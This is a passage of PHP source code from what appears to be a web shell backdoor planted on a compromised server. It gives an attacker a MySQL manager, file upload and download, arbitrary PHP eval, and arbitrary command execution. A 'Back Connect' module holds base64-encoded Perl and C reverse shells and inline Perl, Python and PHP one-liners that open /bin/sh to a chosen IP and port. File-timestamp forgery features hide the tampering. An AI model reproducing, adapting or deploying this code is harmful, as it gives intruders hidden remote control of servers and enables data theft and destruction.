754 makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1));
755 p('</p>');
756 formfoot();
757 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
758 p('<h2>Upload file</h2>');
759 p('<p><b>This operation the DB user must has FILE privilege</b></p>');
760 p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
761 p('<h2>Download file</h2>');
762 p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
763 makehide('dbhost');
764 makehide('dbport');
765 makehide('dbuser');
766 makehide('dbpass');
767 makehide('dbname');
768 makehide('charset');
769 makehide('doing');
770 makehide('action','sqlfile');
771 p('</form>');
772}
773
774elseif ($action == 'mysqladmin') {
775 !$dbhost && $dbhost = 'localhost';
776 !$dbuser && $dbuser = 'root';
777 !$dbport && $dbport = '3306';
778 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
779 if(isset($dbhost)){
780 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
781 }
782 if(isset($dbuser)) {
783 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
784 }
785 if(isset($dbpass)) {
786 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
787 }
788 if(isset($dbport)) {
789 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
790 }
791 if(isset($dbname)) {
792 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
793 }
794 if(isset($charset)) {
795 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
796 }
797
798 if ($doing == 'backupmysql' && $saveasfile) {
799 if (!$table) {
800 m('Please choose the table');
801 } else {
802 mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
803 $table = array_flip($table);
804 $fp = @fopen($path,'w');
805 if ($fp) {
806 $result = q('SHOW tables');
807 if (!$result) p('<h2>'.mysql_error().'</h2>');
808 $mysqldata = '';
809 while ($currow = mysql_fetch_array($result)) {
810 if (isset($table[$currow[0]])) {
811 sqldumptable($currow[0], $fp);
812 }
813 }
814 fclose($fp);
815 $fileurl = str_replace(SA_ROOT,'',$path);
816 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
817 mysql_close();
818 } else {
819 m('Backup failed');
820 }
821 }
822 }
823 if ($insert && $insertsql) {
824 $keystr = $valstr = $tmp = '';
825 foreach($insertsql as $key => $val) {
826 if ($val) {
827 $keystr .= $tmp.$key;
828 $valstr .= $tmp."'".addslashes($val)."'";
829 $tmp = ',';
830 }
831 }
832 if ($keystr && $valstr) {
833 mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
834 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
835 }
836 }
837 if ($update && $insertsql && $base64) {
838 $valstr = $tmp = '';
839 foreach($insertsql as $key => $val) {
840 $valstr .= $tmp.$key."='".addslashes($val)."'";
841 $tmp = ',';
842 }
843 if ($valstr) {
844 $where = base64_decode($base64);
845 mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
846 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
847 }
848 }
849 if ($doing == 'del' && $base64) {
850 $where = base64_decode($base64);
851 $delete_sql = "DELETE FROM $tablename WHERE $where";
852 mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
853 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
854 }
855
856 if ($tablename && $doing == 'drop') {
857 mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
858 if (q("DROP TABLE $tablename")) {
859 m('Drop table of success');
860 $tablename = '';
861 } else {
862 m(mysql_error());
863 }
864 }
865
866 formhead(array('title'=>'MYSQL Manager'));
867 makehide('action','mysqladmin');
868 p('<p>');
869 p('DBHost:');
870 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
871 p(':');
872 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
873 p('DBUser:');
874 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
875 p('DBPass:');
876 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
877 p('DBCharset:');
878 makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1));
879 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
880 p('</p>');
881 formfoot();
882?>
883<script type="text/javascript">
884function editrecord(action, base64, tablename){
885 if (action == 'del') {
886 if (!confirm('Is or isn\'t deletion record?')) return;
887 }
888 $('recordlist').doing.value=action;
889 $('recordlist').base64.value=base64;
890 $('recordlist').tablename.value=tablename;
891 $('recordlist').submit();
892}
893function moddbname(dbname) {
894 if(!dbname) return;
895 $('setdbname').dbname.value=dbname;
896 $('setdbname').submit();
897}
898function settable(tablename,doing,page) {
899 if(!tablename) return;
900 if (doing) {
901 $('settable').doing.value=doing;
902 }
903 if (page) {
904 $('settable').page.value=page;
905 }
906 $('settable').tablename.value=tablename;
907 $('settable').submit();
908}
909</script>
910<?php
911 //æ“作记录
912 formhead(array('name'=>'recordlist'));
913 makehide('doing');
914 makehide('action','mysqladmin');
915 makehide('base64');
916 makehide('tablename');
917 p($dbform);
918 formfoot();
919
920 //选定数æ®åº“
921 formhead(array('name'=>'setdbname'));
922 makehide('action','mysqladmin');
923 p($dbform);
924 if (!$dbname) {
925 makehide('dbname');
926 }
927 formfoot();
928
929 //选定表
930 formhead(array('name'=>'settable'));
931 makehide('action','mysqladmin');
932 p($dbform);
933 makehide('tablename');
934 makehide('page',$page);
935 makehide('doing');
936 formfoot();
937
938 $cachetables = array();
939 $pagenum = 30;
940 $page = intval($page);
941 if($page) {
942 $start_limit = ($page - 1) * $pagenum;
943 } else {
944 $start_limit = 0;
945 $page = 1;
946 }
947 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
948 mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
949 //èŽ·å–æ•°æ®åº“ä¿¡æ¯
950 $mysqlver = mysql_get_server_info();
951 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
952 $highver = $mysqlver > '4.1' ? 1 : 0;
953
954 //èŽ·å–æ•°æ®åº“
955 $query = q("SHOW DATABASES");
956 $dbs = array();
957 $dbs[] = '-- Select a database --';
958 while($db = mysql_fetch_array($query)) {
959 $dbs[$db['Database']] = $db['Database'];
960 }
961 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
962 $tabledb = array();
963 if ($dbname) {
964 p('<p>');
965 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
966 if ($tablename) {
967 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
968 }
969 p('</p>');
970 mysql_select_db($dbname);
971
972 $getnumsql = '';
973 $runquery = 0;
974 if ($sql_query) {
975 $runquery = 1;
976 }
977 $allowedit = 0;
978 if ($tablename && !$sql_query) {
979 $sql_query = "SELECT * FROM $tablename";
980 $getnumsql = $sql_query;
981 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
982 $allowedit = 1;
983 }
984 p('<form action="'.$self.'" method="POST">');
985 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
986 makehide('tablename', $tablename);
987 makehide('action','mysqladmin');
988 p($dbform);
989 p('</form>');
990 if ($tablename || ($runquery && $sql_query)) {
991 if ($doing == 'structure') {
992 $result = q("SHOW COLUMNS FROM $tablename");
993 $rowdb = array();
994 while($row = mysql_fetch_array($result)) {
995 $rowdb[] = $row;
996 }
997 p('<table border="0" cellpadding="3" cellspacing="0">');
998 p('<tr class="head">');
999 p('<td>Field</td>');
1000 p('<td>Type</td>');
1001 p('<td>Null</td>');
1002 p('<td>Key</td>');
1003 p('<td>Default</td>');
1004 p('<td>Extra</td>');
1005 p('</tr>');
1006 foreach ($rowdb as $row) {
1007 $thisbg = bg();
1008 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1009 p('<td>'.$row['Field'].'</td>');
1010 p('<td>'.$row['Type'].'</td>');
1011 p('<td>'.$row['Null'].' </td>');
1012 p('<td>'.$row['Key'].' </td>');
1013 p('<td>'.$row['Default'].' </td>');
1014 p('<td>'.$row['Extra'].' </td>');
1015 p('</tr>');
1016 }
1017 tbfoot();
1018 } elseif ($doing == 'insert' || $doing == 'edit') {
1019 $result = q('SHOW COLUMNS FROM '.$tablename);
1020 while ($row = mysql_fetch_array($result)) {
1021 $rowdb[] = $row;
1022 }
1023 $rs = array();
1024 if ($doing == 'insert') {
1025 p('<h2>Insert new line in '.$tablename.' table »</h2>');
1026 } else {
1027 p('<h2>Update record in '.$tablename.' table »</h2>');
1028 $where = base64_decode($base64);
1029 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
1030 $rs = mysql_fetch_array($result);
1031 }
1032 p('<form method="post" action="'.$self.'">');
1033 p($dbform);
1034 makehide('action','mysqladmin');
1035 makehide('tablename',$tablename);
1036 p('<table border="0" cellpadding="3" cellspacing="0">');
1037 foreach ($rowdb as $row) {
1038 if ($rs[$row['Field']]) {
1039 $value = htmlspecialchars($rs[$row['Field']]);
1040 } else {
1041 $value = '';
1042 }
1043 $thisbg = bg();
1044 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1045 if ($row['Key'] == 'UNI' || $row['Extra'] == 'auto_increment' || $row['Key'] == 'PRI') {
1046 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td>'.$value.' </td></tr>');
1047 } else {
1048 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
1049 }
1050 }
1051 if ($doing == 'insert') {
1052 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1053 } else {
1054 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1055 makehide('base64', $base64);
1056 }
1057 p('</table></form>');
1058 } else {
1059 $querys = @explode(';',$sql_query);
1060 foreach($querys as $num=>$query) {
1061 if ($query) {
1062 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
1063 switch(qy($query))
1064 {
1065 case 0:
1066 p('<h2>Error : '.mysql_error().'</h2>');
1067 break;
1068 case 1:
1069 if (strtolower(substr($query,0,13)) == 'select * from') {
1070 $allowedit = 1;
1071 }
1072 if ($getnumsql) {
1073 $tatol = mysql_num_rows(q($getnumsql));
1074 $multipage = multi($tatol, $pagenum, $page, $tablename);
1075 }
1076 if (!$tablename) {
1077 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
1078 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1079 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
1080 $tablename = $matches[1][0];
1081 }
1082
1083 /*********************/
1084 $getfield = q("SHOW COLUMNS FROM $tablename");
1085 $rowdb = array();
1086 $keyfied = ''; //䏻键嗿®µ
1087 while($row = @mysql_fetch_assoc($getfield)) {
1088 $rowdb[$row['Field']]['Key'] = $row['Key'];
1089 $rowdb[$row['Field']]['Extra'] = $row['Extra'];
1090 if ($row['Key'] == 'UNI' || $row['Key'] == 'PRI') {
1091 $keyfied = $row['Field'];
1092 }
1093 }
1094 /*********************/
1095 //直接æµè§ˆè¡¨æŒ‰ç…§ä¸»é”®é™åºæŽ’列
1096 if (strtolower(substr($query,0,13)) == 'select * from') {
1097 $query = str_replace(" LIMIT ", " order by $keyfied DESC LIMIT ", $query);
1098 }
1099
1100 $result = q($query);
1101
1102 p($multipage);
1103 p('<table border="0" cellpadding="3" cellspacing="0">');
1104 p('<tr class="head">');
1105 if ($allowedit) p('<td>Action</td>');
1106 $fieldnum = @mysql_num_fields($result);
1107 for($i=0;$i<$fieldnum;$i++){
1108 $name = @mysql_field_name($result, $i);
1109 $type = @mysql_field_type($result, $i);
1110 $len = @mysql_field_len($result, $i);
1111 p("<td nowrap>$name<br><span>$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? '<b> - PRIMARY</b>' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? '<b> - Auto</b>' : '')."</span></td>");
1112 }
1113 p('</tr>');
1114
1115 while($mn = @mysql_fetch_assoc($result)){
1116 $thisbg = bg();
1117 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1118 $where = $tmp = $b1 = '';
1119 //选喿¡ä»¶å—段用
1120 foreach($mn as $key=>$inside){
1121 if ($inside) {
1122 //查找主键ã€å”¯ä¸€å±žæ€§ã€è‡ªåŠ¨å¢žåŠ çš„å—æ®µï¼Œæ‰¾åˆ°å°±åœæ¢ï¼Œå¦åˆ™ç»„åˆæ‰€æœ‰å—段作为æ¡ä»¶ã€‚
1123 if ($rowdb[$key]['Key'] == 'UNI' || $rowdb[$key]['Extra'] == 'auto_increment' || $rowdb[$key]['Key'] == 'PRI') {
1124 $where = $key."='".addslashes($inside)."'";
1125 break;
1126 }
1127 $where .= $tmp.$key."='".addslashes($inside)."'";
1128 $tmp = ' AND ';
1129 }
1130 }
1131 //读å–记录用
1132 foreach($mn as $key=>$inside){
1133 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
1134 }
1135 $where = base64_encode($where);
1136
1137 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
1138
1139 p($b1);
1140 p('</tr>');
1141 unset($b1);
1142 }
1143 tbfoot();
1144 p($multipage);
1145 break;
1146 case 2:
1147 $ar = mysql_affected_rows();
1148 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
1149 break;
1150 }
1151 }
1152 }
1153 }
1154 } else {
1155 $query = q("SHOW TABLE STATUS");
1156 $table_num = $table_rows = $data_size = 0;
1157 $tabledb = array();
1158 while($table = mysql_fetch_array($query)) {
1159 $data_size = $data_size + $table['Data_length'];
1160 $table_rows = $table_rows + $table['Rows'];
1161 $table['Data_length'] = sizecount($table['Data_length']);
1162 $table_num++;
1163 $tabledb[] = $table;
1164 }
1165 $data_size = sizecount($data_size);
1166 unset($table);
1167 p('<table border="0" cellpadding="0" cellspacing="0">');
1168 p('<form action="'.$self.'" method="POST">');
1169 makehide('action','mysqladmin');
1170 p($dbform);
1171 p('<tr class="head">');
1172 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1173 p('<td>Name</td>');
1174 p('<td>Rows</td>');
1175 p('<td>Data_length</td>');
1176 p('<td>Create_time</td>');
1177 p('<td>Update_time</td>');
1178 if ($highver) {
1179 p('<td>Engine</td>');
1180 p('<td>Collation</td>');
1181 }
1182 p('<td>Operate</td>');
1183 p('</tr>');
1184 foreach ($tabledb as $key => $table) {
1185 $thisbg = bg();
1186 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1187 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
1188 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a></td>');
1189 p('<td>'.$table['Rows'].'</td>');
1190 p('<td>'.$table['Data_length'].'</td>');
1191 p('<td>'.$table['Create_time'].' </td>');
1192 p('<td>'.$table['Update_time'].' </td>');
1193 if ($highver) {
1194 p('<td>'.$table['Engine'].'</td>');
1195 p('<td>'.$table['Collation'].'</td>');
1196 }
1197 p('<td><a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a></td>');
1198 p('</tr>');
1199 }
1200 p('<tr class='.bg().'>');
1201 p('<td> </td>');
1202 p('<td>Total tables: '.$table_num.'</td>');
1203 p('<td>'.$table_rows.'</td>');
1204 p('<td>'.$data_size.'</td>');
1205 p('<td colspan="'.($highver ? 5 : 3).'"> </td>');
1206 p('</tr>');
1207
1208 p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 9 : 7)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1209 makehide('doing','backupmysql');
1210 formfoot();
1211 p("</table>");
1212 fr($query);
1213 }
1214 }
1215 }
1216 tbfoot();
1217 @mysql_close();
1218}//end mysql
1219
1220elseif ($action == 'backconnect') {
1221 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1222 !$yourport && $yourport = '12345';
1223 $usedb = array('perl'=>'perl','c'=>'c','python'=>'python','perl1'=>'perl1','php'=>'php');
1224
1225 $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
1226 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
1227 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
1228 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
1229 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
1230 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
1231 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1232 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
1233 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
1234 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
1235 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
1236 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
1237 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
1238 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
1239 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1240
1241 if ($start && $yourip && $yourport && $use){
1242 if ($use == 'perl') {
1243 cf('/tmp/angel_bc',$back_connect);
1244 $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
1245 } else if($use == 'c') {
1246 cf('/tmp/angel_bc.c',$back_connect_c);
1247 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1248 @unlink('/tmp/angel_bc.c');
1249 $res = execute("/tmp/angel_bc $yourip $yourport &");
1250 } else if($use == 'perl1'){
1251 $perl1BackStr = 'use Socket;$i="'.$yourip.'";$p='.$yourport.';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';
1252 $res = execute(which('perl')." -e '$perl1BackStr' &");
1253 } else if($use == 'python'){
1254 $pythonBackStr = 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("'.$yourip.'",'.$yourport.'));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);';
1255 $res = execute(which('python')." -c '$pythonBackStr' &");
1256 } else if($use == 'php'){
1257 $phpBackStr = '$sock=fsockopen("'.$yourip.'",'.$yourport.');exec("/bin/sh -i <&3 >&3 2>&3");';
1258 $res = execute(which('php')." -r '$phpBackStr' &");
1259 }
1260 m("Now script try connect to $yourip port $yourport ...");
1261 }
1262
1263 formhead(array('title'=>'Back Connect'));
1264 makehide('action','backconnect');
1265 p('<p>');
1266 p('Your IP:');
1267 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
1268 p('Your Port:');
1269 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
1270 p('Use:');
1271 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
1272 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
1273 p('</p>');
1274 formfoot();
1275}//end sql backup
1276
1277elseif ($action == 'eval') {
1278 $phpcode = trim($phpcode);
1279 if($phpcode){
1280 if (!preg_match('#<\?#si', $phpcode)) {
1281 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
1282 }
1283 eval("?".">$phpcode<?");
1284 }
1285 formhead(array('title'=>'Eval PHP Code'));
1286 makehide('action','eval');
1287 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
1288 p('<p><a href="http://www.ghm.net/hgmshell/plugin/" target="_blank">Get plugins</a></p>');
1289 formfooter();
1290}//end eval
1291
1292elseif ($action == 'editfile') {
1293 if(file_exists($opfile)) {
1294 $fp=@fopen($opfile,'r');
1295 $contents=@fread($fp, filesize($opfile));
1296 @fclose($fp);
1297 $contents=htmlspecialchars($contents);
1298 }
1299 formhead(array('title'=>'Create / Edit File'));
1300 makehide('action','file');
1301 makehide('dir',$nowpath);
1302 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>0));
1303 //makeinput(array('name'=>'opfile','id'=>'opfile','type'=>'hidden','value'=>''));
1304 //p("<input class=\"input\" name=\"readfile\" id=\"readfile\" value=\"readfile\" type=\"button\" size=\"100\" onclick=\"javascript:$('form1').action.value='editfile';$('form1').opfile.value=$('form1').editfilename.value;$('submit').click();\"/>");
1305 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
1306 makeinput(array('title'=>'is keep original mtime?','name'=>'iskeepmtime','value'=>'true','newline'=>0,'type'=>'checkbox','checked'=>'checked'));
1307 formfooter();
1308
1309 goback();
1310
1311}//end editfile
1312
1313elseif ($action == 'newtime') {
1314 $opfilemtime = @filemtime($opfile);
1315 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
1316 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
1317 formhead(array('title'=>'Clone file was last modified time'));
1318 makehide('action','file');
1319 makehide('dir',$nowpath);
1320 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1321 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','value'=>substr($opfile,0,strrpos($opfile,"/")+1),'size'=>120,'newline'=>1));
1322 formfooter();
1323 formhead(array('title'=>'Set last modified'));
1324 makehide('action','file');
1325 makehide('dir',$nowpath);
1326 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1327 p('<p>Instead »');
1328 p('year:');
1329 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
1330 p('month:');
1331 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
1332 p('day:');
1333 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
1334 p('hour:');
1335 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
1336 p('minute:');
1337 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
1338 p('second:');
1339 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
1340 p('</p>');
1341 formfooter();
1342 goback();
1343}//end newtime
1344
1345elseif ($action == 'shell') {
1346 if (IS_WIN && IS_COM) {
1347 if($program && $parameter) {
1348 $shell= new COM('Shell.Application');
1349 $a = $shell->ShellExecute($program,$parameter);
1350 m('Program run has '.(!$a ? 'success' : 'fail'));
1351 }
1352 !$program && $program = 'c:\windows\system32\cmd.exe';
1353 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
1354 formhead(array('title'=>'Execute Program'));
1355 makehide('action','shell');
1356 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
1357 p('<p>');
1358 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
1359 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1360 p('</p>');
1361 formfoot();
1362 }
1363 formhead(array('title'=>'Execute Command'));
1364 makehide('action','shell');
1365 if (IS_WIN && IS_COM) {
1366 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
1367 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
1368 }
1369 p('<p>');
1370 makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
1371 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1372 p('</p>');
1373 formfoot();
1374
1375 if ($command) {
1376 p('<hr width="100%" noshade /><pre>');
1377 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
1378 $wsh = new COM('WScript.shell');
1379 $exec = $wsh->exec('cmd.exe /c '.$command);
1380 $stdout = $exec->StdOut();
1381 $stroutput = $stdout->ReadAll();
1382 echo $stroutput;
1383 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
1384 $descriptorspec = array(
1385 0 => array('pipe', 'r'),
1386 1 => array('pipe', 'w'),
1387 2 => array('pipe', 'w')
1388 );
1389 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1390 if (is_resource($process)) {
1391 fwrite($pipes[0], $command."\r\n");
1392 fwrite($pipes[0], "exit\r\n");
1393 fclose($pipes[0]);
1394 while (!feof($pipes[1])) {
1395 echo fgets($pipes[1], 1024);
1396 }
1397 fclose($pipes[1]);
1398 while (!feof($pipes[2])) {
1399 echo fgets($pipes[2], 1024);
1400 }
1401 fclose($pipes[2]);
1402 proc_close($process);
1403 }
1404 } else {
1405 echo(execute($command));
1406 }
1407 p('</pre>');
1408 }
1409}//end shell
1410
1411elseif ($action == 'phpenv') {
1412 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
